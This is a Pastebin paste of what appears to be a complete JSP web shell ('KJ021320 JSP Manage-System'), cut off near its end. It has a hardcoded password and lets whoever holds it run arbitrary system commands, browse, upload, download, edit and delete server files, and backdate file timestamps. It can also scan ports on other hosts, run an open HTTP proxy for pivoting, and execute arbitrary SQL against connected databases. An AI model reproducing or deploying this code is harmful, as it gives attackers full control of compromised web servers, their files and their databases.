Advertisement
Guest User

jspshall.jsp

a guest
Feb 16th, 2016
581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.32 KB | None | 0 0
  1. <%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
  2. <%@page contentType="text/html;charset=GBK"%>
  3. <%@page pageEncoding="gb2312"%>
  4. <%!
  5. final String APP_NAME="KJ021320 JSP Manage-System 1.0";
  6. int portListen=5000;//set the httpproxy port
  7. boolean openHttpProxy=false;//set the httpproxy load-on-start-up
  8. %>
  9. <%
  10. session.setMaxInactiveInterval(6000);
  11. final String WEB_SITE=folderReplace(application.getRealPath("/"));
  12. final String URL=request.getRequestURI();
  13. if(session.getAttribute("ID")==null){
  14. // the user and pass field
  15. String username="v3nk@t";
  16. String password="v3nk@t";
  17. // the user and pass field
  18. if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){
  19. session.setAttribute("ID","1");
  20. response.sendRedirect(URL);
  21. }else{
  22. out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" +
  23. "<form name=login method=post>username:<input name=LName type=text size=15><br>" +
  24. "password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>");
  25. }
  26. return;
  27. }
  28. %>
  29. <html>
  30. <head>
  31. <meta http-equiv=Content-Type content="text/html; charset=gb2312">
  32. <title><%=APP_NAME%></title>
  33. <style type="text/css">
  34. body,td{font-size: 12px;}
  35. table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
  36. input,select{font-size:12px;}
  37. body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
  38. td{white-space:nowrap;}
  39. a{color:black;text-decoration:none;}
  40. </style>
  41. <script>
  42. Top=top.address;
  43. function downFile(file){
  44. Top.Filename.value=file;
  45. Top.Action.value="D";
  46. Top.submit();
  47. }
  48. function checkUrl(){
  49. top.address.Action.value="F";
  50. top.address.submit();
  51. }
  52. function editFile(file){
  53. top.address.Action.value="E";
  54. top.address.Filename.value=file;
  55. top.address.submit();
  56. }
  57. function delFile(file){
  58. top.address.Action.value="R";
  59. top.address.Filename.value=file;
  60. top.address.submit();
  61. }
  62. function reName(file){
  63. if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
  64. Top.Action.value="N";
  65. top.address.Filename.value=file+"|"+Rname;
  66. Top.submit();
  67. }
  68. }
  69. function copyFile(file){
  70. if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
  71. Top.Action.value="P";
  72. top.address.Filename.value=file+"|"+Rname;
  73. Top.submit();
  74. }
  75. }
  76. function setDate(file){
  77. document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
  78. document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
  79. document.write("Year:<select name='year'>");
  80. for(i=1970;i<=2050;i++){
  81. document.write("<option value="+i+">"+i+"</option>");
  82. }
  83. document.write("</select>");
  84. document.write("Month:<select name='month'>");
  85. for(i=1;i<=12;i++){
  86. document.write("<option value="+i+">"+i+"</option>");
  87. }
  88. document.write("</select>");
  89. document.write("Day:<select name='day'>");
  90. for(i=1;i<=31;i++){
  91. document.write("<option value="+i+">"+i+"</option>");
  92. }
  93. document.write("</select>");
  94. document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
  95. document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
  96. }
  97. function zipFile(file){
  98. if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
  99. top.address.Action.value="Z";
  100. top.address.FolderPath.value=file;
  101. top.address.Filename.value=zipF;
  102. top.address.submit();
  103. }
  104. }
  105. function setDataBase(f){
  106. driverName=new Array();
  107. driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
  108. driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
  109. driverName[2]="com.mysql.jdbc.Driver";
  110. driverName[3]="oracle.jdbc.driver.OracleDriver";
  111. driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
  112. driverName[5]="org.postgresql.Driver";
  113. conUrl=new Array();
  114. conUrl[0]="jdbc:jtds:sybase://host:port/database";
  115. conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
  116. conUrl[2]="jdbc:mysql://host:port/database";
  117. conUrl[3]="jdbc:oracle:thin:@host:port:database";
  118. conUrl[4]="jdbc:db2://host:port/database";
  119. conUrl[5]="jdbc:postgresql://host:port/database";
  120.  
  121. f.driver.value=driverName[f.DB.selectedIndex];
  122. f.conUrl.value=conUrl[f.DB.selectedIndex];
  123. }
  124. </script>
  125. </head>
  126. <body>
  127. <%
  128. String Action=request.getParameter("Action");
  129. char action=(Action==null?"0":Action).charAt(0);
  130. try{
  131. switch(action){
  132. //each skill
  133. case 'M':mainMenu(out,WEB_SITE);break;
  134. case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
  135. case 'S':showSystemInfo(out);break;
  136. case 'L':servletInfo(config,out);break;
  137. case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
  138. case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
  139. case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
  140. case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
  141. case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
  142. case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
  143. case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
  144. case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
  145. case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
  146. case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
  147. case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
  148. case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
  149. case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
  150. case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
  151. case 'H':switchProxyService(out);break;
  152. case 'i':userInterFaces(out);break;
  153. case 'T':systemTools(out);break;
  154. default:
  155. mainForm(WEB_SITE,out);break;
  156. }
  157. }catch(Exception e){
  158. }
  159. out.print("</body></html>");
  160. out.close();
  161.  
  162. %>
  163. <%!
  164. //the main framwork
  165. void mainForm(String web_Site,JspWriter out)throws Exception{
  166. out.print("<table width=100% height=100% border=0 bgcolor=white>");
  167. out.print("<tr><td height=30 colspan=2>");
  168. out.print("<table width=100% height=25 border=0>");
  169. out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
  170. out.print("<tr><td width=60 align=center>FilePath:</td><td>");
  171. out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
  172. out.print("<input type=hidden name=Action value=F>");
  173. out.print("<input type=hidden name=Filename>");
  174. out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
  175. out.print("</td></tr></form></table></td></tr><tr><td width=148>");
  176. out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
  177. out.print("<td width=600>");
  178. out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
  179. out.print("</td></tr></table>");
  180. }
  181. //menu form to choose
  182. void mainMenu(JspWriter out,String web_Site)throws Exception{
  183. out.println("<table>");
  184. out.println("<tr><td bgcolor=Gray><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
  185. out.println("<tr><td bgcolor=white onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
  186. out.println("<tr><td bgcolor=white><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
  187. out.println("<tr><td bgcolor=white><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
  188. out.println("<tr><td bgcolor=white><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
  189. out.println("<tr><td bgcolor=white><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
  190. out.println("<tr><td bgcolor=white><a href='http://blog.csdn.net/kj021320' target=FileFrame>About nonamed(kj021320)</a></td></tr>");
  191. out.println("</table>");
  192. }
  193. //show all files and folders
  194. void showFiles(JspWriter out,String path)throws Exception{
  195. File file=new File(path);
  196. long maxSize=0;
  197. if(file.isDirectory()&&file.exists()){
  198. File[] f=file.listFiles();
  199. out.println("<table><tr bgcolor=white><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
  200. for(int i=0;i<f.length;i++){
  201. maxSize=maxSize+f[i].length();
  202. if(f[i].isDirectory())
  203. out.println("<tr bgcolor=white><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
  204. else
  205. out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
  206. }
  207. out.println("</table>");
  208. out.print("this folder size:"+getSize(maxSize));
  209. }
  210. }
  211. //show the system information
  212. void showSystemInfo(JspWriter out)throws Exception{
  213. Map map=null;
  214. Set set=null;
  215. Iterator it=null;
  216.  
  217. /*use for jdk1.5
  218. map=System.getenv();
  219. set=map.keySet();
  220. it=set.iterator();
  221. out.print("<hr>System Env info:<ul>");
  222. while(it.hasNext()){
  223. Object oName=it.next();
  224. out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
  225. }
  226. out.print("</ul>");
  227. */
  228.  
  229. map=System.getProperties();
  230. set=map.keySet();
  231. it=set.iterator();
  232. out.println("<hr>System Property info:<ul>");
  233. while(it.hasNext()){
  234. Object oName=it.next();
  235. out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
  236. }
  237. out.print("</ul><hr>System CPU :");
  238. out.print(Runtime.getRuntime().availableProcessors()+" <br>");
  239. out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
  240. out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
  241. }
  242. //show servlet information
  243. void servletInfo(ServletConfig config,JspWriter out)throws Exception{
  244. ServletContext sc=config.getServletContext();
  245. out.println("Server info: "+sc.getServerInfo()+"<br>");
  246. out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
  247. out.println("Major version :"+sc.getMajorVersion()+"<br>");
  248. out.println("Minor version :"+sc.getMinorVersion()+"<br>");
  249. Enumeration en=sc.getInitParameterNames();
  250. String initInfo="init parameter: <br>";
  251. out.print(initInfo);
  252. while(en.hasMoreElements()){
  253. String name=(String)en.nextElement();
  254. initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
  255. out.print(initInfo);
  256. }
  257.  
  258. }
  259. //down the server file
  260. void downFile(String filename,HttpServletResponse res)throws Exception{
  261. int w=0;
  262. byte[] buffer=new byte[256];
  263. byte[] b=(new File(filename)).getName().getBytes("gb2312");
  264. String outFile=new String(b,"ISO-8859-1");
  265. res.reset();
  266. res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
  267. ServletOutputStream sos=res.getOutputStream();
  268. BufferedInputStream bis=null;
  269. try{
  270. bis=new BufferedInputStream(new FileInputStream(filename));
  271. while((w=bis.read(buffer,0,buffer.length))!=-1){
  272. sos.write(buffer,0,w);
  273. }
  274. }catch(Exception e){
  275. }finally{
  276. if(bis!=null)bis.close();
  277. }
  278. sos.flush();
  279. res.flushBuffer();
  280. }
  281. //delect file
  282. void deleteFile(String filename,JspWriter out)throws Exception{
  283. File f=new File(filename);
  284. if(f.exists()){
  285. if(f.delete())out.print(filename+"delete success...");
  286. }else{
  287. out.print("file not find!!");
  288. }
  289. }
  290. //rename the file
  291. void renameFile(String filename,JspWriter out)throws Exception{
  292. int split=filename.indexOf("|");
  293. String newFilename=filename.substring(split+1);
  294. filename=filename.substring(0,split);
  295. File f=new File(filename);
  296. if(f.exists()){
  297. if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
  298. }else{
  299. out.print("file not find!!");
  300. }
  301. }
  302. //file copy
  303. void copyFile(String filename,JspWriter out)throws Exception{
  304. int split=filename.indexOf("|");
  305. String newFilename=filename.substring(split+1);
  306. filename=filename.substring(0,split);
  307. File f=new File(filename);
  308. BufferedInputStream bis=null;
  309. BufferedOutputStream bos=null;
  310. if(f.exists()){
  311. try{
  312. bis=new BufferedInputStream(new FileInputStream(filename));
  313. bos=new BufferedOutputStream(new FileOutputStream(newFilename));
  314. int s=0;
  315. while((s=bis.read())!=-1){
  316. bos.write(s);
  317. }
  318. }catch(Exception e){
  319. out.print("file copy error");
  320. }finally{
  321. if(bis!=null)bis.close();
  322. if(bos!=null)bos.close();
  323. }
  324. out.print(newFilename+"file copy success");
  325. }else{
  326. out.print("file not find!!");
  327. }
  328. }
  329. //file editor
  330. void editFile(String filename,JspWriter out)throws IOException{
  331. File f=new File(filename);
  332. out.print("<form method=post>File Path:");
  333. out.print("<input type=text size=80 name=filename value='"+filename+"'>");
  334. out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
  335. out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
  336. out.print("<textarea name=FileContent rows=35 style=width:100%;>");
  337. if(f.exists()){
  338. try{
  339. BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"Gb2312"));
  340. String s="";
  341. while((s=br.readLine())!=null){
  342. out.println(htmlEntity(s));
  343. }
  344. }catch(Exception e){
  345. out.print("file edit error");
  346. }finally{
  347. }
  348. }
  349. out.print("</textarea></form>");
  350. }
  351. //file save
  352. void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
  353. if(filename!=null||fileContent!=null){
  354. BufferedOutputStream bos=null;
  355. try{
  356. bos=new BufferedOutputStream(new FileOutputStream(filename));
  357. bos.write(fileContent,0,fileContent.length);
  358. }finally{
  359. if(bos!=null)bos.close();
  360. }
  361. out.print(filename+"file save success");
  362. }else{
  363. out.print("Error");
  364. }
  365. }
  366. //chang the file modify date
  367. void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
  368. File f=new File(filename);
  369. if(f.exists()){
  370. Calendar calendar=Calendar.getInstance();
  371. calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
  372. if(f.setLastModified(calendar.getTimeInMillis()))
  373. out.print(filename+"file date change success");
  374. else
  375. out.print(filename+"file date change error");
  376. }else{
  377. out.println("file not find!!!");
  378. }
  379. }
  380. //run file
  381. void execFile(String file,JspWriter out)throws Exception{
  382. int i=0;
  383. Runtime rt=Runtime.getRuntime();
  384. Process ps=rt.exec(file);
  385. InputStreamReader isr = null;
  386. char[] bufferC=new char[1024];
  387. try{
  388. isr=new InputStreamReader(ps.getInputStream(),"GB2312");
  389. out.print("<textarea rows=35 style=width:100%;>");
  390. while((i=isr.read(bufferC,0,bufferC.length))!=-1){
  391. out.print(htmlEntity(new String(bufferC,0,i)));
  392. }
  393. }catch(Exception e){
  394. out.print("run file error");
  395. }finally{
  396. if(isr!=null)isr.close();
  397. }
  398. out.print("</textarea>");
  399. systemTools(out);
  400. }
  401. //zip zhe folder
  402. void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
  403. FileOutputStream output = null;
  404. ZipOutputStream zipOutput = null;
  405. try{
  406. output = new FileOutputStream(zipPath);
  407. zipOutput = new ZipOutputStream(output);
  408. zipEntry(zipOutput,srcPath,srcPath,zipPath);
  409. }catch(Exception e){
  410. out.print("file zip error");
  411. }finally{
  412. if(zipOutput!=null)zipOutput.close();
  413. }
  414. out.print("zip ok"+zipPath);
  415. }
  416. //add the zip entry
  417. void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
  418. String entryName = filePath;
  419. File f = new File(filePath);
  420. if (f.isDirectory()){// check is folder
  421. String[] files = f.list();
  422. for(int i = 0; i < files.length; i++)
  423. zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
  424. return;
  425. }
  426. String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);// ?????
  427. int idx=initPath.lastIndexOf(chPh);
  428. if (idx != -1) {
  429. entryName = filePath.substring(idx);
  430. }
  431. ZipEntry entry;
  432. entry = new ZipEntry(entryName);
  433. File ff = new File(filePath);
  434. if(ff.getAbsolutePath().equals(zipPath))return;
  435. entry.setSize(ff.length());
  436. entry.setTime(ff.lastModified());
  437. //the CRC efficacy
  438. entry.setCrc(0);
  439. CRC32 crc = new CRC32();
  440. crc.reset();
  441. zipOs.putNextEntry(entry);
  442. int len = 0;
  443. byte[] buffer = new byte[2048];
  444. int bufferLen = 2048;
  445. FileInputStream input =null;
  446. try{
  447. input = new FileInputStream(filePath);
  448. while ((len = input.read(buffer, 0, bufferLen)) != -1) {
  449. zipOs.write(buffer, 0, len);
  450. crc.update(buffer, 0, len);
  451. }
  452. }catch(Exception e){
  453. }finally{
  454. if(input!=null)input.close();
  455. }
  456. entry.setCrc(crc.getValue());
  457. }
  458. //file upload to server
  459. void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
  460. String boundary = request.getContentType().substring(30);//?????
  461. ServletInputStream sis=request.getInputStream();
  462. BufferedOutputStream bos=null;
  463. byte[] buffer = new byte[256];
  464. String line=null;
  465. for(int i=0;i<5;i++){
  466. line=readLine(buffer,sis);
  467. }
  468. try{
  469. bos=new BufferedOutputStream(new FileOutputStream(filename));
  470. //read the filedata
  471. while(line!=null&&line.indexOf(boundary)==-1){
  472. bos.write(buffer,0,line.getBytes().length);
  473. line=readLine(buffer,sis);
  474. }
  475. out.print("upload success!");
  476. }catch(Exception e){
  477. out.print("upload error");
  478. }finally{
  479. if(bos!=null)bos.close();
  480. }
  481. }
  482. String readLine(byte[] lineByte,ServletInputStream servletInputstream){
  483. try{
  484. int len=0;
  485. len=servletInputstream.readLine(lineByte,0,lineByte.length);
  486. if(len == -1){
  487. return null;
  488. }else{
  489. return new String(lineByte,0,len);
  490. }
  491. }catch(Exception _ex){
  492. return null;
  493. }
  494. }
  495. //create folder
  496. void newFolder(JspWriter out,String foldername)throws Exception{
  497. File f=new File(foldername);
  498. if(f.mkdirs()){
  499. out.print("the folder create success!");
  500. }else{
  501. out.print("the folder create error");
  502. }
  503. }
  504. //reflect java API classes
  505. void reflectAPI(JspWriter out,String className)throws Exception{
  506. Class cls=Class.forName(className);
  507. String constructor="";
  508. String ifString="";
  509. Class[] interfaces=cls.getInterfaces();
  510. String supperClass=cls.getSuperclass().toString();
  511. Constructor[] c=cls.getDeclaredConstructors();
  512. Field[] f=cls.getDeclaredFields();
  513. Method[] m=cls.getDeclaredMethods();
  514.  
  515. for(int i=0;i<interfaces.length;i++){
  516. ifString=ifString+interfaces[i].getName()+",";
  517. }
  518. out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString);
  519.  
  520. out.print("<br>{<br><EM>Constructor:</EM><br>");
  521. for(int i=0;i<c.length;i++)
  522. out.print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"+c[i]+"<br>");
  523. out.print("<EM>Field:</EM><br>");
  524. for(int i=0;i<f.length;i++)
  525. out.print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"+f[i]+"<br>");
  526. out.print("<EM>Function:</EM><br>");
  527. for(int i=0;i<m.length;i++)
  528. out.print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"+m[i]+"<br>");
  529. out.print("<br>}");
  530. }
  531. //scan the remote server port
  532. void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
  533. if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){
  534. out.print("port setup error");
  535. return;
  536. }
  537. InetAddress ia=InetAddress.getByName(strAddress);
  538. for(int p=startPort;p<=endPort;p+=15){
  539. (new ScanPort(ia,p,p+14,out)).start();
  540. }
  541. Thread.sleep((int)(endPort/startPort)*5000);
  542. }//scan port class
  543. class ScanPort extends Thread{
  544. int startPort;
  545. int endPort;
  546. InetAddress address;
  547. javax.servlet.jsp.JspWriter out;
  548. public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
  549. this.address=address;
  550. this.startPort=startPort;
  551. this.endPort=endPort;
  552. this.out=out;
  553. }
  554. public void run(){
  555. Socket s=null;
  556. for(int port=startPort;port<=endPort;port++){
  557. try{
  558. s=new Socket(address,port);
  559. out.println("port "+port+" is Open<br>");
  560. }
  561. catch(IOException e){
  562. }finally{
  563. try{s.close();}catch(Exception e){}
  564. }
  565. }
  566. }
  567. }
  568. public void switchProxyService(JspWriter out)throws Exception{
  569. if(openHttpProxy=!openHttpProxy){//open the proxy
  570. new RunProxyService(portListen).start();
  571. out.print("Proxy running");
  572. }else{
  573. out.print("Proxy closed");
  574. }
  575. }
  576. //open httpProxy service
  577. public class RunProxyService extends Thread{
  578. int port;
  579. public RunProxyService(int port){
  580. this.port=port;
  581. }
  582. public void run(){
  583. try {
  584. ServerSocket ss=new ServerSocket(5000);
  585. while(true){
  586. if(openHttpProxy){
  587. new HttpProxy(ss.accept()).start();
  588. }else{
  589. break;
  590. }
  591. }
  592. ss.close();
  593. } catch (IOException e) {
  594. }
  595. }
  596. }
  597. //HttpProxy class
  598. public class HttpProxy extends Thread{
  599. private Socket s;
  600. public int timeOut=10000;
  601. public HttpProxy(Socket s){
  602. this.s=s;
  603. }
  604. public HttpProxy(Socket s,int timeOut){
  605. this.s=s;
  606. this.timeOut=timeOut;//set the connection timeout
  607. }
  608. public void run(){
  609. byte[] bit=new byte[1024];
  610. int readBit=0;
  611. int size=0;
  612. String returnAddress=null;//return to the address
  613. int returnPort = 0; //return to the port
  614. String sendHostName=null;
  615. int sendPort=0;
  616. Socket sendSocket=null;
  617. OutputStream os=null;
  618. InputStream is=null;
  619. try{
  620. int split=0;
  621.  
  622. is=s.getInputStream();
  623. //get the http head information
  624. if((size=is.read(bit, 0, bit.length))==-1)return;
  625.  
  626. String httpHead=new String(bit,0,size);
  627. split=httpHead.indexOf("\nHost: ")+7;
  628. sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
  629. //get the hostname and port
  630. if((split=sendHostName.indexOf(':'))!=-1){
  631. sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
  632. sendHostName=sendHostName.substring(0,split);
  633. sendSocket=new Socket(sendHostName.trim(),sendPort);
  634. }else{
  635. sendSocket=new Socket(sendHostName.trim(),80);
  636. }
  637. sendSocket.setSoTimeout(timeOut);
  638. //send user headhttp
  639. os=sendSocket.getOutputStream();
  640. os.write(httpHead.getBytes());
  641. //send user datas
  642. if(size==bit.length)
  643. while((size=is.read(bit, 0, bit.length))!=-1){
  644. os.write(bit,0 , size);
  645. }
  646. os.flush();
  647. //get WEBSITE html and user browser's output
  648. is=sendSocket.getInputStream();
  649. os=s.getOutputStream();
  650.  
  651. while((size=is.read(bit, 0, bit.length))!=-1){
  652. os.write(bit,0 , size);
  653. os.flush();
  654. }
  655. }catch(SocketException se){
  656. } catch (IOException ie) {
  657. } catch (Exception e) {
  658. }finally{
  659. //close the stream
  660. if(is!=null){
  661. try {
  662. is.close();
  663. } catch (IOException e) {
  664. }
  665. }
  666. if(os!=null){
  667. try {
  668. os.close();
  669. } catch (IOException e) {
  670. }
  671. }
  672. }
  673. }
  674. }
  675. //connection to the database
  676. void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
  677. DBM dbm=new DBM(driver,url,userName,passWord,out);
  678. if(sqlAction.equals("LDB")){
  679. dbm.lookInfo();
  680. }else{
  681. dbm.executeSQL(sqlCmd);
  682. }
  683. dbm.closeAll();
  684. }
  685. //database manager class
  686. class DBM{
  687. private JspWriter out;
  688. private Connection con;
  689. private Statement stmt;
  690. private ResultSet rs;
  691. public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
  692. Class.forName(driverName);
  693. this.out=out;
  694. con=DriverManager.getConnection(url,userName,passWord);
  695. }
  696. public void lookInfo()throws Exception{
  697. DatabaseMetaData dbmd=con.getMetaData();
  698. String tableType=null;
  699. out.print("<strong>DataBaseInfo</strong><table>");
  700. out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
  701. out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
  702. out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
  703. out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
  704. out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
  705. out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
  706. out.print("</table>");
  707. out.print("<strong>ProcedureInfo</strong><table>");
  708. try{
  709. getProcedureDetail(dbmd.getProcedures(null,null,null));
  710. }catch(Exception proE){}
  711.  
  712. //show all the tables
  713. try{
  714. rs=dbmd.getTables(null,null,null,null);
  715. }catch(Exception tabE){}
  716. out.print("<strong>DataBase Tables Info</strong><br>");
  717. while(rs.next()){
  718. tableType=rs.getString(4);
  719. out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
  720. if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
  721. try{
  722. getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
  723. }catch(Exception columnE){}
  724. }
  725. }
  726. this.closeAll();
  727. }
  728. //show the column information
  729. private void getTableDetail(ResultSet tableRs)throws Exception{
  730. out.print("<table border=1><tr><td>COLUMN_NAME</td><td>DATA_TYPE</td><td>TYPE_NAME</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
  731. while(tableRs.next()){
  732. out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
  733. }
  734. out.print("</table>");
  735. tableRs.close();
  736. }
  737. //show all the procedures
  738. private void getProcedureDetail(ResultSet procRs)throws Exception{
  739. out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
  740. while(procRs.next()){
  741. out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
  742. }
  743. out.print("</table>");
  744. procRs.close();
  745. }
  746. //run the sql command
  747. public void executeSQL(String sqlCmd)throws Exception{
  748. stmt=con.createStatement();
  749. if(sqlCmd.trim().toLowerCase().startsWith("select")){
  750. rs=stmt.executeQuery(sqlCmd);
  751. ResultSetMetaData rsmd=rs.getMetaData();
  752. int ColumnCount=rsmd.getColumnCount();
  753. out.print("<table border=1><tr>");
  754. for(int i=1;i<=ColumnCount;i++){
  755. out.print("<td>"+rsmd.getColumnName(i)+"</td>");
  756. }
  757. out.print("</tr>");
  758. while(rs.next()){
  759. out.print("</tr>");
  760. for(int i=1;i<=ColumnCount;i++){
  761. out.print("<td>"+rs.getString(i)+"</td>");
  762. }
  763. out.print("</tr>");
  764. }
  765. }else{
  766. stmt.executeUpdate(sqlCmd);
  767. out.print("execute success");
  768. }
  769.  
  770.  
  771. }
  772. //close all the resource
  773. public void closeAll()throws SQLException{
  774. try{
  775. if(rs!=null)rs.close();
  776. }catch(Exception e){
  777. }
  778. try{
  779. if(stmt!=null)stmt.close();
  780. }catch(Exception e){
  781. }
  782. try{
  783. if(con!=null)con.close();
  784. }catch(Exception e){
  785. }
  786. }
  787. }
  788. //the other tools
  789. void systemTools(JspWriter out)throws Exception{
  790. out.print("<table border=1>");
  791. out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=white>System class run</td>");
  792. out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='example d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>");
  793. out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=white>file upload</td>");
